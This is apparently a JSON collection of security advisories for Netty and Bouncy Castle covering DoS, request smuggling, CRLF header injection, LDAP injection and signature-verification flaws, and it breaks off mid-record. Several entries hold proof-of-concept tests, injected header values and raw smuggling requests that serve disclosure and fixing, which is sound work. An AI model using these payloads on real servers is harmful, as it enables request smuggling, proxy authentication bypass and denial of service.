{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.132.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.2.10.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.11.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:49:21Z",
    "nvd_published_at": "2026-03-27T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n    verifyAssociatedWithAStream();\n    if (headersContinuation == null) {\n        throw connectionError(PROTOCOL_ERROR, \"...\");\n    }\n    if (streamId != headersContinuation.getStreamId()) {\n        throw connectionError(PROTOCOL_ERROR, \"...\");\n    }\n    // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n        headerBlock.readableBytes()) {\n    headerSizeExceeded();  // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
  "id": "GHSA-w9fj-cfpg-grvv",
  "modified": "2026-03-27T21:48:53Z",
  "published": "2026-03-26T18:49:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:13:05Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks.\n\n### Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult += digit;\n\nThe result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.\n\n```java\n@Test\npublic void test() {\n    String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n            \"100000004\\r\\n\" +\n            \"test\\r\\n\" +\n            \"0\\r\\n\" +\n            \"\\r\\n\" +\n            \"GET /smuggled HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Content-Length: 0\\r\\n\" +\n            \"\\r\\n\";\n\n    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n    // Request 1\n    HttpRequest request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    HttpContent content = channel.readInbound();\n    assertTrue(content.decoderResult().isSuccess());\n    assertEquals(\"test\", content.content().toString(CharsetUtil.US_ASCII));\n    content.release();\n    LastHttpContent last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n\n    // Request 2\n    request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-m4cv-j2px-7723",
  "modified": "2026-05-14T20:41:01Z",
  "published": "2026-05-07T00:13:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-0636"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:06:02Z",
    "nvd_published_at": "2026-04-15T10:16:38Z",
    "severity": "MODERATE"
  },
  "details": "Improper neutralization of special elements used in an LDAP query (\u0027LDAP injection\u0027) vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.\n\nThis issue affects BC-JAVA: from 1.74 before 1.84.",
  "id": "GHSA-c3fc-8qff-9hwx",
  "modified": "2026-04-18T01:06:02Z",
  "published": "2026-04-17T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0636"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/d20cdb8430e09224114fec0179a71859929fcbde"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%900636"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle has an LDAP injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk15on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-debug-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-debug-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-debug-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-5588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-327"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:32:20Z",
    "nvd_published_at": "2026-04-15T10:16:49Z",
    "severity": "MODERATE"
  },
  "details": ": Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules).\n\n\nPKIX draft CompositeVerifier accepts empty signature sequence as valid.\n\n\nThis issue affects BC-JAVA: from 1.49 before 1.84.",
  "id": "GHSA-wg6q-6289-32hp",
  "modified": "2026-04-16T21:32:20Z",
  "published": "2026-04-15T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5588"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/656bae0dbd9b1521f840521ff786e78749fe3057"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905588"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/U:Green",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle Crypto Package For Java: Use of a Broken or Risky Cryptographic Algorithm vulnerability in bcpkix modules"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:11:40Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "LOW"
  },
  "details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n    }\n\n    if (outboundHeaders != null) {\n        req.headers().add(outboundHeaders);  // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4=    \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n        // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n            .withValidation(false);\n\n        FullHttpRequest req = new DefaultFullHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n            \"target.com:443\",\n            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n        req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n        // Inject CRLF in header value\n        String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n        req.headers().set(\"X-Forwarded-For\", malicious);\n\n        // Encode to wire format\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n        ch.writeOutbound(req);\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n        System.out.println(\"VULNERABLE: \" +\n            (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n  Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n  Header accepted: YES (validation disabled!)\n  Wire format:\n    CONNECT target.com:443 HTTP/1.1\\r\n    host: target.com:443\\r\n    X-Forwarded-For: 1.2.3.4\\r\n    X-Forwarded-For: 127.0.0.1\\r          \u003c-- INJECTED\n    X-Admin: true\\r                        \u003c-- INJECTED\n    \\r\n\n  Injected X-Admin header in wire: true\n  VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n  With validation=true:\n    SAFE: Rejected - IllegalArgumentException\n  With validation=false:\n    VULNERABLE: Accepted CRLF in header value!\n    Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n    for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n        HttpUtil.validateHeaderValue(entry.getValue());\n    }\n    req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
  "id": "GHSA-45q3-82m4-75jr",
  "modified": "2026-05-14T20:40:54Z",
  "published": "2026-05-07T00:11:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:18:41Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "MODERATE"
  },
  "details": "# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization\n\n| Field     | Value |\n|-----------|-------|\n| Library   | `io.netty:netty-codec-http` |\n| Component | `codec-http` \u2014 `HttpObjectDecoder` |\n| Severity  | **HIGH** |\n| Affects   | HEAD, commit `4f3533ae` confirmed |\n\n---\n\n## Summary\n\n`HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on message boundaries, enabling request smuggling.\n\n---\n\n## Root Cause\n\n```java\n// HttpObjectDecoder.java:828-833\nif (HttpUtil.isTransferEncodingChunked(message)) {\n    this.chunked = true;\n    if (!contentLengthFields.isEmpty() \u0026\u0026 message.protocolVersion() == HttpVersion.HTTP_1_1) {\n        handleTransferEncodingChunkedWithContentLength(message);  // strips CL \u2014 HTTP/1.1 only\n    }\n    return State.READ_CHUNK_SIZE;\n}\n\n// HttpObjectDecoder.java:870-873\nprotected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {\n    message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);\n    contentLength = Long.MIN_VALUE;\n}\n```\n\nThe conflict-resolution path is gated on `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares `HTTP/1.0`, the condition is false, `handleTransferEncodingChunkedWithContentLength` is never called, and the `Content-Length` header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.\n\n---\n\n## Proof of Concept\n\n```\nPOST /api HTTP/1.0\\r\\n\nHost: internal.example.com\\r\\n\nTransfer-Encoding: chunked\\r\\n\nContent-Length: 0\\r\\n\n\\r\\n\n5\\r\\n\nGPOST\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nNetty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads `Content-Length: 0`, considers the request complete at the blank line, and treats `5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n` as the start of a second request.\n\n---\n\n## Conditions Required\n\n1. Netty is deployed behind a reverse proxy or load balancer that is `Content-Length`-first (nginx, some HAProxy configs, AWS ALB in certain modes).\n2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).\n3. No additional HTTP/1.0 stripping layer between attacker and Netty.\n\n---\n\n## Impact\n\nRequest smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.\n\n---\n\n## Confirmed PoC Test\n\nVerified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.\n\n```java\npackage io.netty.handler.codec.http;\n\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.util.CharsetUtil;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\npublic class NettySmugglingSec001Test {\n\n    // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict\n    @Test\n    public void http10_contentLengthNotStripped() {\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n        ch.writeInbound(Unpooled.copiedBuffer(\n                \"POST /api HTTP/1.0\\r\\n\" +\n                \"Transfer-Encoding: chunked\\r\\n\" +\n                \"Content-Length: 0\\r\\n\" +\n                \"\\r\\n\" +\n                \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n        HttpRequest req = ch.readInbound();\n        assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());\n        // Content-Length: 0 survives \u2014 downstream CL-first proxy treats chunked body as new request\n        assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"VULNERABLE: CL not stripped\");\n        ch.finishAndReleaseAll();\n    }\n\n    // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict\n    @Test\n    public void http11_contentLengthStripped() {\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n        ch.writeInbound(Unpooled.copiedBuffer(\n                \"POST /api HTTP/1.1\\r\\n\" +\n                \"Transfer-Encoding: chunked\\r\\n\" +\n                \"Content-Length: 0\\r\\n\" +\n                \"\\r\\n\" +\n                \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n        HttpRequest req = ch.readInbound();\n        assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"SAFE: CL correctly stripped\");\n        ch.finishAndReleaseAll();\n    }\n}\n```\n\n---\n\n## Fix Guidance\n\nRemove the `message.protocolVersion() == HttpVersion.HTTP_1_1` guard in `HttpObjectDecoder`, applying `handleTransferEncodingChunkedWithContentLength` unconditionally whenever both `Transfer-Encoding: chunked` and `Content-Length` are present, regardless of protocol version.",
  "id": "GHSA-xxqh-mfjm-7mv9",
  "modified": "2026-05-14T20:41:05Z",
  "published": "2026-05-07T00:18:41Z",
  "references": [
